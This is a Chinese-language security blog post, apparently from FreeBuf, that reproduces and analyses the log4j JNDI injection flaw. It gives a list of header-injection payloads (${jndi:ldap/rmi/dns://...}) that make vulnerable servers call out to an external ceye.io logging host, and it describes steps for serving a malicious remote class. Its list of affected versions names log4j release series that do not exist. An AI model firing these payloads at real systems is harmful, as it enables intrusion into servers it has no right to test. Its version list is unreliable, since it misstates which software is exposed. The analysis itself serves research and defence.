freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

log4j漏洞复现及详细分析
2023-05-31 10:59:04
所属地 广东省

一、前置知识

1.1漏洞成因

该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE

关于什么是JNDI注入,请看下面分析

JNDI基本介绍

JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。

JNDI架构图

JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。


JNDI核心API

类名

描述

Context

命名服务的接口类,由很多的name-to-object的健值对组成,可以通过该接口将健值对绑定到该类中,也可通过该类根据name获取其绑定的对象

InitialContext

Naming(命名服务)操作的入口类,通过该类可对命名服务进行相关的操作

DirContext

Directory目录服务的接口类,该类继承自Context,在Naming服务的基础上扩展了对于对象属性的绑定和获取操作

InitialDirContext

Directory目录服务相关操作的入口类,通过该类可进行目录相关服务的操作

1. Context核心方法
/**可根据Name实现类或者字符串name去获取绑定在context中的对象**/
 public Object lookup(Name name) throws NamingException;
 public Object lookup(String name) throws NamingException;
 
/**可使用Name实现类或者字符串name将对象绑定到Context中*/
 public void bind(Name name, Object obj) throws NamingException;
 public void bind(String name, Object obj) throws NamingException;
2. DirContext核心方法
/**可根据Name或者name获取绑定对象的所有已关联的属性*/
 public Attributes getAttributes(Name name) throws NamingException;
 public Attributes getAttributes(String name) throws NamingException;

/**可根据Name或者name和属性标识符id相关联的属性/
public Attributes getAttributes(Name name, String[] attrIds)
            throws NamingException;
 public Attributes getAttributes(String name, String[] attrIds)
            throws NamingException;

/**将Name和Object绑定起来,同时将属性关联到相应的对象上去*/
public void bind(Name name, Object obj, Attributes attrs)
            throws NamingException;
public void bind(String name, Object obj, Attributes attrs)
            throws NamingException;

JNDI操作目录服务代码编写

下面我将写一个实例和案例来对比,更直观理解JNDI的实际场景

实例(以下过程是本地加载实例对象)

pom.xml文件

1685437397_6475bbd5a259304f79841.png!small?1685437398216

nihao.java

1685437611_6475bcab1885720f6d1f7.png!small?1685437611636

JndiServer.java

1685437619_6475bcb33fbd15d8b7f5a.png!small?1685437619889

关于Reference类讲解:

其中ReferenceWrapper 类需要继承UnicastRemoteObject类,即实现远程调用其他类

这个程序,开启一个rmi服务,绑定了nihao类,并且只会加载本地nihao类。对外暴露的远程服务是:jndi:rmi://localhost:1099/evil。当远程客户端调用这个服务,nihao类就被初始化,并执行static代码块中的打印功能。

JndiTest.java

1685437650_6475bcd2b7275e138bf17.png!small?1685437651426

先启动远程服务类JndiServer,然后运行JndiTest,控制台打印如下:

1685437657_6475bcd9c1d3f8e7ae055.png!small?1685437658234

从上面的打印结果来看,我们在客户端里面其实就是想输出日志,但是我们通过一些表达式,比如:LOGGER.error("hello,{}","${jndi:rmi://localhost:1099/evil}")来拼接日志信息,日志会进行格式化,在格式化的时候,会查找一些lookup,这里面有如下的lookup:

正好就有jdni这个lookup,所以这里示例最后就根据表达式执行rmi操作。

还可以试试upper格式化操作:

1685437666_6475bce2894215854949e.png!small?1685437667315

以上就是JNDI的一个简单调用过程

下面我将换成案例来演示,对于不大懂Java的同学看了之后更直观

案例(以下过程是远程加载实例对象)

和上面步骤一样,只是bind的对象不一样

exp.java

1685437768_6475bd48336d9768e3716.png!small?1685437768644

为何没有包名,因为我接下来注册服务时Reference.factory的第二个参数不指定路径名

将exp编译一下,可以使用cmd命令javac exp

JndiServer.java

1685437776_6475bd5004c1639bf90e9.png!small?1685437776704

此时我指定了要加载代码的远程地址

JndiTest.java

1685437785_6475bd597c49367910eab.png!small?1685437786121

先启动远程服务类JndiServer,然后在exp.class目录下开启一个web服务,此次我用python开启,然后运行JndiTest,控制台打印如下:

1685437793_6475bd61e3e4503273b86.png!small?1685437794794

1685437801_6475bd69f1ed66d6cf189.png!small?1685437802606

1.2漏洞影响版本

log4j-1.2.x
log4j:1.2.17及之前版本
log4j-1.2.8
log4j:1.2.14
log4j:1.2.12
log4j:1.2.11
log4j:1.2.9
log4j:1.2.3
log4j-1.2.17
log4j:1.2.15
log4j:1.2.13
log4j:1.2.16
log4j:1.2.10
log4j:1.2.7
log4j:1.2.1
log4j-1.3-Alpha (当时的实验版本,已经停止开发)
log4j-1.4.x
log4j:1.4.2至1.4.17
log4j:1.4.1
log4j:1.4
log4j-1.5.x及以上版本
log4j:1.5.0至1.5.16
log4j:1.5.17至1.5.20
log4j:1.5.21至1.5.22
log4j:1.5.23
log4j:1.5.24
log4j-1.6.x及以上版本
log4j-2.x版本
log4j:2.0至2.17 (<=2.17.0)

二、环境搭建

使用IDEA创建一个pom工程项目,在pom文件引入log4j-core项目。触发漏洞的文件是在core里面,所以只需要引入log4j-core这个即可。

1685437875_6475bdb3dc000ccc642ac.png!small?1685437876433

jdk版本,我使用的是jdk_1.7u80版本。因为该版本的jdk对JNDI没有限制,可以使用ldap和rmi协议进行远程加载。

exp.java log4jTest.java Log4jServer.java 就是对应上面的JNDI的代码

下面是一些log4j常用的探测payload

X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

以及一些变形的payload:

1685437938_6475bdf23a77a5d1fb384.png!small?1685437939030

三、漏洞复现

用的jdk版本是jdk7u80

1685437945_6475bdf9b363e18da751f.png!small?1685437947342

运行以上代码,观察到ceye平台上有反查记录,说明代码lookup了bbb.p9seqf.ceye.io域名,留下了查找记录

1685437956_6475be0429947bb187086.png!small?1685437956734

既然能远程访问,那返回的又是什么呢,有没有可能加载远程服务器上的恶意类呢?答案是肯定的,我们只需要构建一个ldap或rmi远程服务即可,让远程服务器返回恶意class,如图

1685437963_6475be0b406326685b070.png!small?1685437963840

复现过程

1、开启服务端

1685437970_6475be1258f6654070059.png!small?1685437971269

2、开启http服务

1685437977_6475be19094e117476b01.png!small?1685437979027

3、启动测试类

1685437985_6475be213bbb01fcadfc9.png!small?1685437985867

四、代码分析

由于链比较长,所以分析比较重点的节点

1685437994_6475be2a25ac2c5542a1a.png!small?1685437995874

上图打上断点,而后会根据下面的调用流一步步走

1685438028_6475be4c550bcafe3ebe1.png!small?1685438028982

来到StrSubstitutor类,这个类就开始比较关键,也是这个类开始,进入反序列化的前奏。因为它进入了lookup方法,这个方法里面会调用JNDI的链

1685438036_6475be5472d34fb7a11f7.png!small?1685438038096

上图中,除了log4j可以调用lookup方法外,还有sys,ctx,env等都可以调用。可以找找看有没有可利用的链

此次开始往下走是进入到了JNDI的调用链了。主要过程是生成rmi实例-->获取Reference实例-->判断JNDI的绑定对象是否在本地(Naming)-->是在本地就从本地加载--->不是在本地就从远程加载

1685438045_6475be5d7eec232b07e4c.png!small?1685438046039

在RegistryContext类中获得exp类的实例对象

1685438052_6475be643d12e479aab9c.png!small?1685438052715

跟进getObjectInstance方法,如果ref不为空,则从ref中获取exp的工厂类

1685438058_6475be6ace1c037a1b641.png!small?1685438059442

进入getObjectFactoryFromReference方法,先判断本地是否有exp类,有则从本地加载,没有,则从远程加载

1685438066_6475be72edf674918f19e.png!small?1685438067755

1685438081_6475be81a5a60b4338b6d.png!small?1685438082655


继续跟进,进入loadClass方法

1685438087_6475be87c9c13aa955c28.png!small?1685438088450

1685438094_6475be8e656e0016171fe.png!small?1685438095234

class.forName反射调用exp类,且第二个参数为true,则会加载exp类的静态方法。

# 漏洞 # 渗透测试 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录